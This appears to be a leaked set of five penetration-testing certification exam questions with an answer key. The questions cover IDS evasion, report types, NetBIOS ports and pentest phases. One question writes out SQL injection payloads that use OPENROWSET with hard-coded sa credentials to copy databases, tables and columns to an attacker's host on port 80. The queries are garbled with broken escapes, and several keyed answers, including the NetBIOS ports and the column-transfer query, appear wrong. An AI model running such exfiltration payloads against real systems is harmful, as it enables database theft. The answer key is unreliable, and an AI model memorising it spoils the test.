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QUESTION 1

In which of the following IDS evasion techniques does IDS reject the packets that an end system accepts?
A. IPS evasion technique

B. IDS evasion technique

C. UDP evasion technique

D. TTL evasion technique

Correct Answer: D

QUESTION 2

Which of the following reports provides a summary of the complete pen testing process, its outcomes, and
recommendations?

A. Vulnerability Report

B. Executive Report

C. Client-side test Report
D. Host Report

Correct Answer: B

QUESTION 3

A penetration tester tries to transfer the database from the target machine to a different machine. For this,
he uses OPENROWSET to link the target database to his own database, replicates the database
structure, and transfers the data to his machine by via a connection to the remote machine on port 80.
The query he used to transfer databases was:

\\'; insert into OPENROWSET
(\WSQLoledb\\',\V'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;\\', \\'select * from
mydatabase..hacked_sysdatabases\\') select * from master.dbo.sysdatabases The query he used to
transfer table 1 was:

\\'; insert into OPENROWSET(\W'SQLoledb\\,

\V'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;\\', \\'select * from mydatabase..table1\\")
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select * from database..tablel
What query does he need in order to transfer the column?

A. \\; insert into OPENROWSET(\\'SQLoledb\\',\\V'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;\\',\\'
select * from mydatabase..hacked_syscolumns\\') select * from user_database.dbo.systables

B. \\'; insert into OPENROWSET(\\'SQLoledb\\',\\'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;\\',\\
select * from mydatabase..hacked_syscolumns\\') select * from user_database.dbo.sysrows

C. \\’; insert into OPENROWSET(\WSQLoledb\\',\V'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;\\',\\'
select * from mydatabase..hacked_syscolumns\\') select * from user_database.dbo.syscolumns

D. \\; insert into OPENROWSET(\W'SQLoledb\\',\V'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;\\',\\'
select * from mydatabase..hacked_syscolumns\\') select * from user_tables.dbo.syscolumns

Correct Answer: D

QUESTION 4

Which of the following are the default ports used by NetBIOS service?
A. 135, 136, 139, 445

B. 134, 135, 136, 137

C. 137, 138, 139, 140

D. 133, 134, 139, 142

Correct Answer: A

QUESTION 5

A penetration test consists of three phases: pre-attack phase, attack phase, and post-attack phase.
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Active reconnaissance which includes activities such as network mapping, web profiling, and perimeter mapping is a
part which phase(s)?

A. Post-attack phase

B. Pre-attack phase and attack phase
C. Attack phase

D. Pre-attack phase

Correct Answer: D
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